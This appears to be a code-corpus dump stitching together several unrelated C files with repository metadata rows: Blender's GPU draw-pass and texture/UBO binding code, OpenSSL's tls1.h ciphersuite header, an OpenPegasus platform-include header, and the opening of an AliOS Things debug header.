/* Special case: empty drawcall, placement is done via shader, don't bind anything. */
/* TODO use DRW_CALL_PROCEDURAL instead */
if (geom == NULL) {
BLI_assert(shgroup->type == DRW_SHG_TRIANGLE_BATCH); /* Add other type if needed. */
/* Shader is already bound. */
GPU_draw_primitive(GPU_PRIM_TRIS, count);
return;
}
/* step 2 : bind vertex array & draw */
GPU_batch_program_set_no_use(
geom, GPU_shader_get_program(shgroup->shader), GPU_shader_get_interface(shgroup->shader));
/* XXX hacking gawain. we don't want to call glUseProgram! (huge performance loss) */
geom->program_in_use = true;
GPU_batch_draw_range_ex(geom, start, count, draw_instance);
geom->program_in_use = false; /* XXX hacking gawain */
}
static void draw_geometry_execute(DRWShadingGroup *shgroup, GPUBatch *geom)
{
draw_geometry_execute_ex(shgroup, geom, 0, 0, false);
}
enum {
BIND_NONE = 0,
BIND_TEMP = 1, /* Release slot after this shading group. */
BIND_PERSIST = 2, /* Release slot only after the next shader change. */
};
static void set_bound_flags(uint64_t *slots, uint64_t *persist_slots, int slot_idx, char bind_type)
{
uint64_t slot = 1lu << slot_idx;
*slots |= slot;
if (bind_type == BIND_PERSIST) {
*persist_slots |= slot;
}
}
static int get_empty_slot_index(uint64_t slots)
{
uint64_t empty_slots = ~slots;
/* Find first empty slot using bitscan. */
if (empty_slots != 0) {
if ((empty_slots & 0xFFFFFFFFlu) != 0) {
return (int)bitscan_forward_uint(empty_slots);
}
else {
return (int)bitscan_forward_uint(empty_slots >> 32) + 32;
}
}
else {
/* Greater than GPU_max_textures() */
return 99999;
}
}
static void bind_texture(GPUTexture *tex, char bind_type)
{
int idx = GPU_texture_bound_number(tex);
if (idx == -1) {
/* Texture isn't bound yet. Find an empty slot and bind it. */
idx = get_empty_slot_index(DST.RST.bound_tex_slots);
if (idx < GPU_max_textures()) {
GPUTexture **gpu_tex_slot = &DST.RST.bound_texs[idx];
/* Unbind any previous texture. */
if (*gpu_tex_slot != NULL) {
GPU_texture_unbind(*gpu_tex_slot);
}
GPU_texture_bind(tex, idx);
*gpu_tex_slot = tex;
}
else {
printf("Not enough texture slots! Reduce number of textures used by your shader.\n");
return;
}
}
else {
/* This texture slot was released but the tex
* is still bound. Just flag the slot again. */
BLI_assert(DST.RST.bound_texs[idx] == tex);
}
set_bound_flags(&DST.RST.bound_tex_slots, &DST.RST.bound_tex_slots_persist, idx, bind_type);
}
static void bind_ubo(GPUUniformBuffer *ubo, char bind_type)
{
int idx = GPU_uniformbuffer_bindpoint(ubo);
if (idx == -1) {
/* UBO isn't bound yet. Find an empty slot and bind it. */
idx = get_empty_slot_index(DST.RST.bound_ubo_slots);
if (idx < GPU_max_ubo_binds()) {
GPUUniformBuffer **gpu_ubo_slot = &DST.RST.bound_ubos[idx];
/* Unbind any previous UBO. */
if (*gpu_ubo_slot != NULL) {
GPU_uniformbuffer_unbind(*gpu_ubo_slot);
}
GPU_uniformbuffer_bind(ubo, idx);
*gpu_ubo_slot = ubo;
}
else {
/* printf so user can report bad behavior */
printf("Not enough ubo slots! This should not happen!\n");
/* This is not depending on user input.
* It is our responsibility to make sure there is enough slots. */
BLI_assert(0);
return;
}
}
else {
/* This UBO slot was released but the UBO is
* still bound here. Just flag the slot again. */
BLI_assert(DST.RST.bound_ubos[idx] == ubo);
}
set_bound_flags(&DST.RST.bound_ubo_slots, &DST.RST.bound_ubo_slots_persist, idx, bind_type);
}
#ifndef NDEBUG
/**
* Opengl specification is strict on buffer binding.
*
* " If any active uniform block is not backed by a
* sufficiently large buffer object, the results of shader
* execution are undefined, and may result in GL interruption or
* termination. " - Opengl 3.3 Core Specification
*
* For now we only check if the binding is correct. Not the size of
* the bound ubo.
*
* See T55475.
* */
static bool ubo_bindings_validate(DRWShadingGroup *shgroup)
{
bool valid = true;
# ifdef DEBUG_UBO_BINDING
/* Check that all active uniform blocks have a non-zero buffer bound. */
GLint program = 0;
GLint active_blocks = 0;
glGetIntegerv(GL_CURRENT_PROGRAM, &program);
glGetProgramiv(program, GL_ACTIVE_UNIFORM_BLOCKS, &active_blocks);
for (uint i = 0; i < active_blocks; ++i) {
int binding = 0;
int buffer = 0;
glGetActiveUniformBlockiv(program, i, GL_UNIFORM_BLOCK_BINDING, &binding);
glGetIntegeri_v(GL_UNIFORM_BUFFER_BINDING, binding, &buffer);
if (buffer == 0) {
char blockname[64];
glGetActiveUniformBlockName(program, i, sizeof(blockname), NULL, blockname);
if (valid) {
printf("Trying to draw with missing UBO binding.\n");
valid = false;
}
printf("Pass : %s, Shader : %s, Block : %s\n",
shgroup->pass_parent->name,
shgroup->shader->name,
blockname);
}
}
# endif
return valid;
}
#endif
static void release_texture_slots(bool with_persist)
{
if (with_persist) {
DST.RST.bound_tex_slots = 0;
DST.RST.bound_tex_slots_persist = 0;
}
else {
DST.RST.bound_tex_slots &= DST.RST.bound_tex_slots_persist;
}
}
static void release_ubo_slots(bool with_persist)
{
if (with_persist) {
DST.RST.bound_ubo_slots = 0;
DST.RST.bound_ubo_slots_persist = 0;
}
else {
DST.RST.bound_ubo_slots &= DST.RST.bound_ubo_slots_persist;
}
}
static void draw_shgroup(DRWShadingGroup *shgroup, DRWState pass_state)
{
BLI_assert(shgroup->shader);
GPUTexture *tex;
GPUUniformBuffer *ubo;
int val;
float fval;
const bool shader_changed = (DST.shader != shgroup->shader);
bool use_tfeedback = false;
if (shader_changed) {
if (DST.shader) {
GPU_shader_unbind();
}
GPU_shader_bind(shgroup->shader);
DST.shader = shgroup->shader;
}
if ((pass_state & DRW_STATE_TRANS_FEEDBACK) != 0 &&
(shgroup->type == DRW_SHG_FEEDBACK_TRANSFORM)) {
use_tfeedback = GPU_shader_transform_feedback_enable(shgroup->shader,
shgroup->tfeedback_target->vbo_id);
}
release_ubo_slots(shader_changed);
release_texture_slots(shader_changed);
drw_state_set((pass_state & shgroup->state_extra_disable) | shgroup->state_extra);
drw_stencil_set(shgroup->stencil_mask);
/* Binding Uniform */
for (DRWUniform *uni = shgroup->uniforms; uni; uni = uni->next) {
if (uni->location == -2) {
uni->location = GPU_shader_get_uniform_ensure(shgroup->shader,
DST.uniform_names.buffer + uni->name_ofs);
if (uni->location == -1) {
continue;
}
}
switch (uni->type) {
case DRW_UNIFORM_SHORT_TO_INT:
val = (int)*((short *)uni->pvalue);
GPU_shader_uniform_vector_int(
shgroup->shader, uni->location, uni->length, uni->arraysize, &val);
break;
case DRW_UNIFORM_SHORT_TO_FLOAT:
fval = (float)*((short *)uni->pvalue);
GPU_shader_uniform_vector(
shgroup->shader, uni->location, uni->length, uni->arraysize, (float *)&fval);
break;
case DRW_UNIFORM_BOOL_COPY:
case DRW_UNIFORM_INT_COPY:
GPU_shader_uniform_vector_int(
shgroup->shader, uni->location, uni->length, uni->arraysize, &uni->ivalue);
break;
case DRW_UNIFORM_BOOL:
case DRW_UNIFORM_INT:
GPU_shader_uniform_vector_int(
shgroup->shader, uni->location, uni->length, uni->arraysize, (int *)uni->pvalue);
break;
case DRW_UNIFORM_FLOAT_COPY:
GPU_shader_uniform_vector(
shgroup->shader, uni->location, uni->length, uni->arraysize, &uni->fvalue);
break;
case DRW_UNIFORM_FLOAT:
GPU_shader_uniform_vector(
shgroup->shader, uni->location, uni->length, uni->arraysize, (float *)uni->pvalue);
break;
case DRW_UNIFORM_TEXTURE:
tex = (GPUTexture *)uni->pvalue;
BLI_assert(tex);
bind_texture(tex, BIND_TEMP);
GPU_shader_uniform_texture(shgroup->shader, uni->location, tex);
break;
case DRW_UNIFORM_TEXTURE_PERSIST:
tex = (GPUTexture *)uni->pvalue;
BLI_assert(tex);
bind_texture(tex, BIND_PERSIST);
GPU_shader_uniform_texture(shgroup->shader, uni->location, tex);
break;
case DRW_UNIFORM_TEXTURE_REF:
tex = *((GPUTexture **)uni->pvalue);
BLI_assert(tex);
bind_texture(tex, BIND_TEMP);
GPU_shader_uniform_texture(shgroup->shader, uni->location, tex);
break;
case DRW_UNIFORM_BLOCK:
ubo = (GPUUniformBuffer *)uni->pvalue;
bind_ubo(ubo, BIND_TEMP);
GPU_shader_uniform_buffer(shgroup->shader, uni->location, ubo);
break;
case DRW_UNIFORM_BLOCK_PERSIST:
ubo = (GPUUniformBuffer *)uni->pvalue;
bind_ubo(ubo, BIND_PERSIST);
GPU_shader_uniform_buffer(shgroup->shader, uni->location, ubo);
break;
}
}
#ifdef USE_GPU_SELECT
# define GPU_SELECT_LOAD_IF_PICKSEL(_select_id) \
if (G.f & G_FLAG_PICKSEL) { \
GPU_select_load_id(_select_id); \
} \
((void)0)
# define GPU_SELECT_LOAD_IF_PICKSEL_CALL(_call) \
if ((G.f & G_FLAG_PICKSEL) && (_call)) { \
GPU_select_load_id((_call)->select_id); \
} \
((void)0)
# define GPU_SELECT_LOAD_IF_PICKSEL_LIST(_shgroup, _start, _count) \
_start = 0; \
_count = _shgroup->instance_count; \
int *select_id = NULL; \
if (G.f & G_FLAG_PICKSEL) { \
if (_shgroup->override_selectid == -1) { \
/* Hack : get vbo data without actually drawing. */ \
GPUVertBufRaw raw; \
GPU_vertbuf_attr_get_raw_data(_shgroup->inst_selectid, 0, &raw); \
select_id = GPU_vertbuf_raw_step(&raw); \
switch (_shgroup->type) { \
case DRW_SHG_TRIANGLE_BATCH: \
_count = 3; \
break; \
case DRW_SHG_LINE_BATCH: \
_count = 2; \
break; \
default: \
_count = 1; \
break; \
} \
} \
else { \
GPU_select_load_id(_shgroup->override_selectid); \
} \
} \
while (_start < _shgroup->instance_count) { \
if (select_id) { \
GPU_select_load_id(select_id[_start]); \
}
# define GPU_SELECT_LOAD_IF_PICKSEL_LIST_END(_start, _count) \
_start += _count; \
} \
((void)0)
#else
# define GPU_SELECT_LOAD_IF_PICKSEL(select_id)
# define GPU_SELECT_LOAD_IF_PICKSEL_CALL(call)
# define GPU_SELECT_LOAD_IF_PICKSEL_LIST_END(start, count) ((void)0)
# define GPU_SELECT_LOAD_IF_PICKSEL_LIST(_shgroup, _start, _count) \
_start = 0; \
_count = _shgroup->instance_count;
#endif
BLI_assert(ubo_bindings_validate(shgroup));
/* Rendering Calls */
if (!ELEM(shgroup->type, DRW_SHG_NORMAL, DRW_SHG_FEEDBACK_TRANSFORM)) {
/* Replacing multiple calls with only one */
if (ELEM(shgroup->type, DRW_SHG_INSTANCE, DRW_SHG_INSTANCE_EXTERNAL)) {
if (shgroup->type == DRW_SHG_INSTANCE_EXTERNAL) {
if (shgroup->instance_geom != NULL) {
GPU_SELECT_LOAD_IF_PICKSEL(shgroup->override_selectid);
draw_geometry_prepare(shgroup, NULL);
draw_geometry_execute_ex(shgroup, shgroup->instance_geom, 0, 0, true);
}
}
else {
if (shgroup->instance_count > 0) {
uint count, start;
draw_geometry_prepare(shgroup, NULL);
GPU_SELECT_LOAD_IF_PICKSEL_LIST (shgroup, start, count) {
draw_geometry_execute_ex(shgroup, shgroup->instance_geom, start, count, true);
}
GPU_SELECT_LOAD_IF_PICKSEL_LIST_END(start, count);
}
}
}
else { /* DRW_SHG_***_BATCH */
/* Some dynamic batch can have no geom (no call to aggregate) */
if (shgroup->instance_count > 0) {
uint count, start;
draw_geometry_prepare(shgroup, NULL);
GPU_SELECT_LOAD_IF_PICKSEL_LIST (shgroup, start, count) {
draw_geometry_execute_ex(shgroup, shgroup->batch_geom, start, count, false);
}
GPU_SELECT_LOAD_IF_PICKSEL_LIST_END(start, count);
}
}
}
else {
bool prev_neg_scale = false;
int callid = 0;
for (DRWCall *call = shgroup->calls.first; call; call = call->next) {
/* OPTI/IDEA(clem): Do this preparation in another thread. */
draw_visibility_eval(call->state);
draw_matrices_model_prepare(call->state);
if ((call->state->flag & DRW_CALL_CULLED) != 0 &&
(call->state->flag & DRW_CALL_BYPASS_CULLING) == 0) {
continue;
}
/* XXX small exception/optimisation for outline rendering. */
if (shgroup->callid != -1) {
GPU_shader_uniform_vector_int(shgroup->shader, shgroup->callid, 1, 1, &callid);
callid += 1;
}
/* Negative scale objects */
bool neg_scale = call->state->flag & DRW_CALL_NEGSCALE;
if (neg_scale != prev_neg_scale) {
glFrontFace((neg_scale) ? DST.backface : DST.frontface);
prev_neg_scale = neg_scale;
}
GPU_SELECT_LOAD_IF_PICKSEL_CALL(call);
draw_geometry_prepare(shgroup, call);
switch (call->type) {
case DRW_CALL_SINGLE:
draw_geometry_execute(shgroup, call->single.geometry);
break;
case DRW_CALL_RANGE:
draw_geometry_execute_ex(
shgroup, call->range.geometry, call->range.start, call->range.count, false);
break;
case DRW_CALL_INSTANCES:
draw_geometry_execute_ex(
shgroup, call->instances.geometry, 0, *call->instances.count, true);
break;
case DRW_CALL_GENERATE:
call->generate.geometry_fn(shgroup, draw_geometry_execute, call->generate.user_data);
break;
case DRW_CALL_PROCEDURAL:
GPU_draw_primitive(call->procedural.prim_type, call->procedural.vert_count);
break;
default:
BLI_assert(0);
}
}
/* Reset state */
glFrontFace(DST.frontface);
}
if (use_tfeedback) {
GPU_shader_transform_feedback_disable(shgroup->shader);
}
}
static void drw_update_view(void)
{
if (DST.dirty_mat) {
DST.state_cache_id++;
DST.dirty_mat = false;
DRW_uniformbuffer_update(G_draw.view_ubo, &DST.view_data);
/* Catch integer wrap around. */
if (UNLIKELY(DST.state_cache_id == 0)) {
DST.state_cache_id = 1;
/* We must reset all CallStates to ensure that not
* a single one stayed with cache_id equal to 1. */
BLI_mempool_iter iter;
DRWCallState *state;
BLI_mempool_iternew(DST.vmempool->states, &iter);
while ((state = BLI_mempool_iterstep(&iter))) {
state->cache_id = 0;
}
}
/* TODO dispatch threads to compute matrices/culling */
}
draw_clipping_setup_from_view();
}
static void drw_draw_pass_ex(DRWPass *pass,
DRWShadingGroup *start_group,
DRWShadingGroup *end_group)
{
if (start_group == NULL) {
return;
}
DST.shader = NULL;
BLI_assert(DST.buffer_finish_called &&
"DRW_render_instance_buffer_finish had not been called before drawing");
drw_update_view();
/* GPU_framebuffer_clear calls can change the state outside the DRW module.
* Force reset the affected states to avoid problems later. */
drw_state_set(DST.state | DRW_STATE_WRITE_DEPTH | DRW_STATE_WRITE_COLOR);
drw_state_set(pass->state);
DRW_stats_query_start(pass->name);
for (DRWShadingGroup *shgroup = start_group; shgroup; shgroup = shgroup->next) {
draw_shgroup(shgroup, pass->state);
/* break if upper limit */
if (shgroup == end_group) {
break;
}
}
/* Clear Bound textures */
for (int i = 0; i < DST_MAX_SLOTS; i++) {
if (DST.RST.bound_texs[i] != NULL) {
GPU_texture_unbind(DST.RST.bound_texs[i]);
DST.RST.bound_texs[i] = NULL;
}
}
/* Clear Bound Ubos */
for (int i = 0; i < DST_MAX_SLOTS; i++) {
if (DST.RST.bound_ubos[i] != NULL) {
GPU_uniformbuffer_unbind(DST.RST.bound_ubos[i]);
DST.RST.bound_ubos[i] = NULL;
}
}
if (DST.shader) {
GPU_shader_unbind();
DST.shader = NULL;
}
/* HACK: Rasterized discard can affect clear commands which are not
* part of a DRWPass (as of now). So disable rasterized discard here
* if it has been enabled. */
if ((DST.state & DRW_STATE_RASTERIZER_ENABLED) == 0) {
drw_state_set((DST.state & ~DRW_STATE_RASTERIZER_ENABLED) | DRW_STATE_DEFAULT);
}
DRW_stats_query_end();
}
void DRW_draw_pass(DRWPass *pass)
{
drw_draw_pass_ex(pass, pass->shgroups.first, pass->shgroups.last);
}
/* Draw only a subset of shgroups. Used in special situations as grease pencil strokes */
void DRW_draw_pass_subset(DRWPass *pass, DRWShadingGroup *start_group, DRWShadingGroup *end_group)
{
drw_draw_pass_ex(pass, start_group, end_group);
}
/** \} */
| 31.1391 | 115 | 0.618299 |
cf43de89436f70520bc39d80a0fa38338611ccdc | 9,142 | h | C | net4cpp21/openSSL/openssl/tls1.h | MariusStrugaru/rmtsvc | abe3807d8bd98131b5a935a75746708b2abba3b9 | [
"MIT"
] | 63 | 2016-09-30T06:34:01.000Z | 2022-03-12T14:47:28.000Z | openssl/inc32/openssl/tls1.h | ddag/mylib | f2275a5a32c6255b41b27036dc792192e85e392c | [
"MIT"
] | 2 | 2017-11-13T20:53:07.000Z | 2020-11-04T08:06:15.000Z | openssl/inc32/openssl/tls1.h | ddag/mylib | f2275a5a32c6255b41b27036dc792192e85e392c | [
"MIT"
] | 43 | 2015-12-19T07:16:25.000Z | 2021-12-23T02:40:56.000Z | /* ssl/tls1.h */
/* Copyright (C) 1995-1998 Eric Young (eay@cryptsoft.com)
* All rights reserved.
*
* This package is an SSL implementation written
* by Eric Young (eay@cryptsoft.com).
* The implementation was written so as to conform with Netscapes SSL.
*
* This library is free for commercial and non-commercial use as long as
* the following conditions are aheared to. The following conditions
* apply to all code found in this distribution, be it the RC4, RSA,
* lhash, DES, etc., code; not just the SSL code. The SSL documentation
* included with this distribution is covered by the same copyright terms
* except that the holder is Tim Hudson (tjh@cryptsoft.com).
*
* Copyright remains Eric Young's, and as such any Copyright notices in
* the code are not to be removed.
* If this package is used in a product, Eric Young should be given attribution
* as the author of the parts of the library used.
* This can be in the form of a textual message at program startup or
* in documentation (online or textual) provided with the package.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
* 3. All advertising materials mentioning features or use of this software
* must display the following acknowledgement:
* "This product includes cryptographic software written by
* Eric Young (eay@cryptsoft.com)"
* The word 'cryptographic' can be left out if the rouines from the library
* being used are not cryptographic related :-).
* 4. If you include any Windows specific code (or a derivative thereof) from
* the apps directory (application code) you must include an acknowledgement:
* "This product includes software written by Tim Hudson (tjh@cryptsoft.com)"
*
* THIS SOFTWARE IS PROVIDED BY ERIC YOUNG ``AS IS'' AND
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
* SUCH DAMAGE.
*
* The licence and distribution terms for any publically available version or
* derivative of this code cannot be changed. i.e. this code cannot simply be
* copied and put under another distribution licence
* [including the GNU Public Licence.]
*/
#ifndef HEADER_TLS1_H
#define HEADER_TLS1_H
#include <openssl/buffer.h>
#ifdef __cplusplus
extern "C" {
#endif
#define TLS1_ALLOW_EXPERIMENTAL_CIPHERSUITES 1
#define TLS1_VERSION 0x0301
#define TLS1_VERSION_MAJOR 0x03
#define TLS1_VERSION_MINOR 0x01
#define TLS1_AD_DECRYPTION_FAILED 21
#define TLS1_AD_RECORD_OVERFLOW 22
#define TLS1_AD_UNKNOWN_CA 48 /* fatal */
#define TLS1_AD_ACCESS_DENIED 49 /* fatal */
#define TLS1_AD_DECODE_ERROR 50 /* fatal */
#define TLS1_AD_DECRYPT_ERROR 51
#define TLS1_AD_EXPORT_RESTRICTION 60 /* fatal */
#define TLS1_AD_PROTOCOL_VERSION 70 /* fatal */
#define TLS1_AD_INSUFFICIENT_SECURITY 71 /* fatal */
#define TLS1_AD_INTERNAL_ERROR 80 /* fatal */
#define TLS1_AD_USER_CANCELLED 90
#define TLS1_AD_NO_RENEGOTIATION 100
/* Additional TLS ciphersuites from draft-ietf-tls-56-bit-ciphersuites-00.txt
* (available if TLS1_ALLOW_EXPERIMENTAL_CIPHERSUITES is defined, see
* s3_lib.c). We actually treat them like SSL 3.0 ciphers, which we probably
* shouldn't. */
#define TLS1_CK_RSA_EXPORT1024_WITH_RC4_56_MD5 0x03000060
#define TLS1_CK_RSA_EXPORT1024_WITH_RC2_CBC_56_MD5 0x03000061
#define TLS1_CK_RSA_EXPORT1024_WITH_DES_CBC_SHA 0x03000062
#define TLS1_CK_DHE_DSS_EXPORT1024_WITH_DES_CBC_SHA 0x03000063
#define TLS1_CK_RSA_EXPORT1024_WITH_RC4_56_SHA 0x03000064
#define TLS1_CK_DHE_DSS_EXPORT1024_WITH_RC4_56_SHA 0x03000065
#define TLS1_CK_DHE_DSS_WITH_RC4_128_SHA 0x03000066
/* AES ciphersuites from RFC3268 */
#define TLS1_CK_RSA_WITH_AES_128_SHA 0x0300002F
#define TLS1_CK_DH_DSS_WITH_AES_128_SHA 0x03000030
#define TLS1_CK_DH_RSA_WITH_AES_128_SHA 0x03000031
#define TLS1_CK_DHE_DSS_WITH_AES_128_SHA 0x03000032
#define TLS1_CK_DHE_RSA_WITH_AES_128_SHA 0x03000033
#define TLS1_CK_ADH_WITH_AES_128_SHA 0x03000034
#define TLS1_CK_RSA_WITH_AES_256_SHA 0x03000035
#define TLS1_CK_DH_DSS_WITH_AES_256_SHA 0x03000036
#define TLS1_CK_DH_RSA_WITH_AES_256_SHA 0x03000037
#define TLS1_CK_DHE_DSS_WITH_AES_256_SHA 0x03000038
#define TLS1_CK_DHE_RSA_WITH_AES_256_SHA 0x03000039
#define TLS1_CK_ADH_WITH_AES_256_SHA 0x0300003A
/* XXX
* Inconsistency alert:
* The OpenSSL names of ciphers with ephemeral DH here include the string
* "DHE", while elsewhere it has always been "EDH".
* (The alias for the list of all such ciphers also is "EDH".)
* The specifications speak of "EDH"; maybe we should allow both forms
* for everything. */
#define TLS1_TXT_RSA_EXPORT1024_WITH_RC4_56_MD5 "EXP1024-RC4-MD5"
#define TLS1_TXT_RSA_EXPORT1024_WITH_RC2_CBC_56_MD5 "EXP1024-RC2-CBC-MD5"
#define TLS1_TXT_RSA_EXPORT1024_WITH_DES_CBC_SHA "EXP1024-DES-CBC-SHA"
#define TLS1_TXT_DHE_DSS_EXPORT1024_WITH_DES_CBC_SHA "EXP1024-DHE-DSS-DES-CBC-SHA"
#define TLS1_TXT_RSA_EXPORT1024_WITH_RC4_56_SHA "EXP1024-RC4-SHA"
#define TLS1_TXT_DHE_DSS_EXPORT1024_WITH_RC4_56_SHA "EXP1024-DHE-DSS-RC4-SHA"
#define TLS1_TXT_DHE_DSS_WITH_RC4_128_SHA "DHE-DSS-RC4-SHA"
/* AES ciphersuites from RFC3268 */
#define TLS1_TXT_RSA_WITH_AES_128_SHA "AES128-SHA"
#define TLS1_TXT_DH_DSS_WITH_AES_128_SHA "DH-DSS-AES128-SHA"
#define TLS1_TXT_DH_RSA_WITH_AES_128_SHA "DH-RSA-AES128-SHA"
#define TLS1_TXT_DHE_DSS_WITH_AES_128_SHA "DHE-DSS-AES128-SHA"
#define TLS1_TXT_DHE_RSA_WITH_AES_128_SHA "DHE-RSA-AES128-SHA"
#define TLS1_TXT_ADH_WITH_AES_128_SHA "ADH-AES128-SHA"
#define TLS1_TXT_RSA_WITH_AES_256_SHA "AES256-SHA"
#define TLS1_TXT_DH_DSS_WITH_AES_256_SHA "DH-DSS-AES256-SHA"
#define TLS1_TXT_DH_RSA_WITH_AES_256_SHA "DH-RSA-AES256-SHA"
#define TLS1_TXT_DHE_DSS_WITH_AES_256_SHA "DHE-DSS-AES256-SHA"
#define TLS1_TXT_DHE_RSA_WITH_AES_256_SHA "DHE-RSA-AES256-SHA"
#define TLS1_TXT_ADH_WITH_AES_256_SHA "ADH-AES256-SHA"
#define TLS_CT_RSA_SIGN 1
#define TLS_CT_DSS_SIGN 2
#define TLS_CT_RSA_FIXED_DH 3
#define TLS_CT_DSS_FIXED_DH 4
#define TLS_CT_NUMBER 4
#define TLS1_FINISH_MAC_LENGTH 12
#define TLS_MD_MAX_CONST_SIZE 20
#define TLS_MD_CLIENT_FINISH_CONST "client finished"
#define TLS_MD_CLIENT_FINISH_CONST_SIZE 15
#define TLS_MD_SERVER_FINISH_CONST "server finished"
#define TLS_MD_SERVER_FINISH_CONST_SIZE 15
#define TLS_MD_SERVER_WRITE_KEY_CONST "server write key"
#define TLS_MD_SERVER_WRITE_KEY_CONST_SIZE 16
#define TLS_MD_KEY_EXPANSION_CONST "key expansion"
#define TLS_MD_KEY_EXPANSION_CONST_SIZE 13
#define TLS_MD_CLIENT_WRITE_KEY_CONST "client write key"
#define TLS_MD_CLIENT_WRITE_KEY_CONST_SIZE 16
#define TLS_MD_SERVER_WRITE_KEY_CONST "server write key"
#define TLS_MD_SERVER_WRITE_KEY_CONST_SIZE 16
#define TLS_MD_IV_BLOCK_CONST "IV block"
#define TLS_MD_IV_BLOCK_CONST_SIZE 8
#define TLS_MD_MASTER_SECRET_CONST "master secret"
#define TLS_MD_MASTER_SECRET_CONST_SIZE 13
#ifdef CHARSET_EBCDIC
#undef TLS_MD_CLIENT_FINISH_CONST
#define TLS_MD_CLIENT_FINISH_CONST "\x63\x6c\x69\x65\x6e\x74\x20\x66\x69\x6e\x69\x73\x68\x65\x64" /*client finished*/
#undef TLS_MD_SERVER_FINISH_CONST
#define TLS_MD_SERVER_FINISH_CONST "\x73\x65\x72\x76\x65\x72\x20\x66\x69\x6e\x69\x73\x68\x65\x64" /*server finished*/
#undef TLS_MD_SERVER_WRITE_KEY_CONST
#define TLS_MD_SERVER_WRITE_KEY_CONST "\x73\x65\x72\x76\x65\x72\x20\x77\x72\x69\x74\x65\x20\x6b\x65\x79" /*server write key*/
#undef TLS_MD_KEY_EXPANSION_CONST
#define TLS_MD_KEY_EXPANSION_CONST "\x6b\x65\x79\x20\x65\x78\x70\x61\x6e\x73\x69\x6f\x6e" /*key expansion*/
#undef TLS_MD_CLIENT_WRITE_KEY_CONST
#define TLS_MD_CLIENT_WRITE_KEY_CONST "\x63\x6c\x69\x65\x6e\x74\x20\x77\x72\x69\x74\x65\x20\x6b\x65\x79" /*client write key*/
#undef TLS_MD_SERVER_WRITE_KEY_CONST
#define TLS_MD_SERVER_WRITE_KEY_CONST "\x73\x65\x72\x76\x65\x72\x20\x77\x72\x69\x74\x65\x20\x6b\x65\x79" /*server write key*/
#undef TLS_MD_IV_BLOCK_CONST
#define TLS_MD_IV_BLOCK_CONST "\x49\x56\x20\x62\x6c\x6f\x63\x6b" /*IV block*/
#undef TLS_MD_MASTER_SECRET_CONST
#define TLS_MD_MASTER_SECRET_CONST "\x6d\x61\x73\x74\x65\x72\x20\x73\x65\x63\x72\x65\x74" /*master secret*/
#endif
#ifdef __cplusplus
}
#endif
#endif
| 46.642857 | 126 | 0.800372 |
2e6a439647dd40f9170f4f918cd1b8b4ea736086 | 795 | h | C | src/Providers/UNIXProviders/IPNetworkIdentity/UNIX_IPNetworkIdentityPrivate.h | brunolauze/openpegasus-providers-old | b00f1aad575bae144b8538bf57ba5fd5582a4ec7 | [
"MIT"
] | 1 | 2020-10-12T09:00:09.000Z | 2020-10-12T09:00:09.000Z | src/Providers/UNIXProviders/IPNetworkIdentity/UNIX_IPNetworkIdentityPrivate.h | brunolauze/openpegasus-providers-old | b00f1aad575bae144b8538bf57ba5fd5582a4ec7 | [
"MIT"
] | null | null | null | src/Providers/UNIXProviders/IPNetworkIdentity/UNIX_IPNetworkIdentityPrivate.h | brunolauze/openpegasus-providers-old | b00f1aad575bae144b8538bf57ba5fd5582a4ec7 | [
"MIT"
] | null | null | null |
#if defined(PEGASUS_OS_HPUX)
# include "UNIX_IPNetworkIdentityPrivate_HPUX.h"
#elif defined(PEGASUS_OS_LINUX)
# include "UNIX_IPNetworkIdentityPrivate_LINUX.h"
#elif defined(PEGASUS_OS_DARWIN)
# include "UNIX_IPNetworkIdentityPrivate_DARWIN.h"
#elif defined(PEGASUS_OS_AIX)
# include "UNIX_IPNetworkIdentityPrivate_AIX.h"
#elif defined(PEGASUS_OS_FREEBSD)
# include "UNIX_IPNetworkIdentityPrivate_FREEBSD.h"
#elif defined(PEGASUS_OS_SOLARIS)
# include "UNIX_IPNetworkIdentityPrivate_SOLARIS.h"
#elif defined(PEGASUS_OS_ZOS)
# include "UNIX_IPNetworkIdentityPrivate_ZOS.h"
#elif defined(PEGASUS_OS_VMS)
# include "UNIX_IPNetworkIdentityPrivate_VMS.h"
#elif defined(PEGASUS_OS_TRU64)
# include "UNIX_IPNetworkIdentityPrivate_TRU64.h"
#else
# include "UNIX_IPNetworkIdentityPrivate_STUB.h"
#endif
| 34.565217 | 51 | 0.849057 |
2c272a9e6cf832411b56c025639bdfd6cf5bcc48 | 971 | h | C | components/debug/src/debug_api.h | wstong999/AliOS-Things | 6554769cb5b797e28a30a4aa89b3f4cb2ef2f5d9 | [
"Apache-2.0"
] | 4,538 | 2017-10-20T05:19:03.000Z | 2022-03-30T02:29:30.000Z | components/debug/src/debug_api.h | wstong999/AliOS-Things | 6554769cb5b797e28a30a4aa89b3f4cb2ef2f5d9 | [
"Apache-2.0"
] | 1,088 | 2017-10-21T07:57:22.000Z | 2022-03-31T08:15:49.000Z | components/debug/src/debug_api.h | willianchanlovegithub/AliOS-Things | 637c0802cab667b872d3b97a121e18c66f256eab | [
"Apache-2.0"
] | 1,860 | 2017-10-20T05:22:35.000Z | 2022-03-27T10:54:14.000Z | /*
* Copyright (C) 2015-2018 Alibaba Group Holding Limited
*/
#ifndef DBG_API_H
#define DBG_API_H
#ifdef __cplusplus
extern "C" {
#endif
#include <stdio.h>
#include "k_api.h"
#include "debug_infoget.h"
#include "debug_overview.h"
#include "debug_panic.h"
#include "debug_backtrace.h"
#include "debug_print.h"
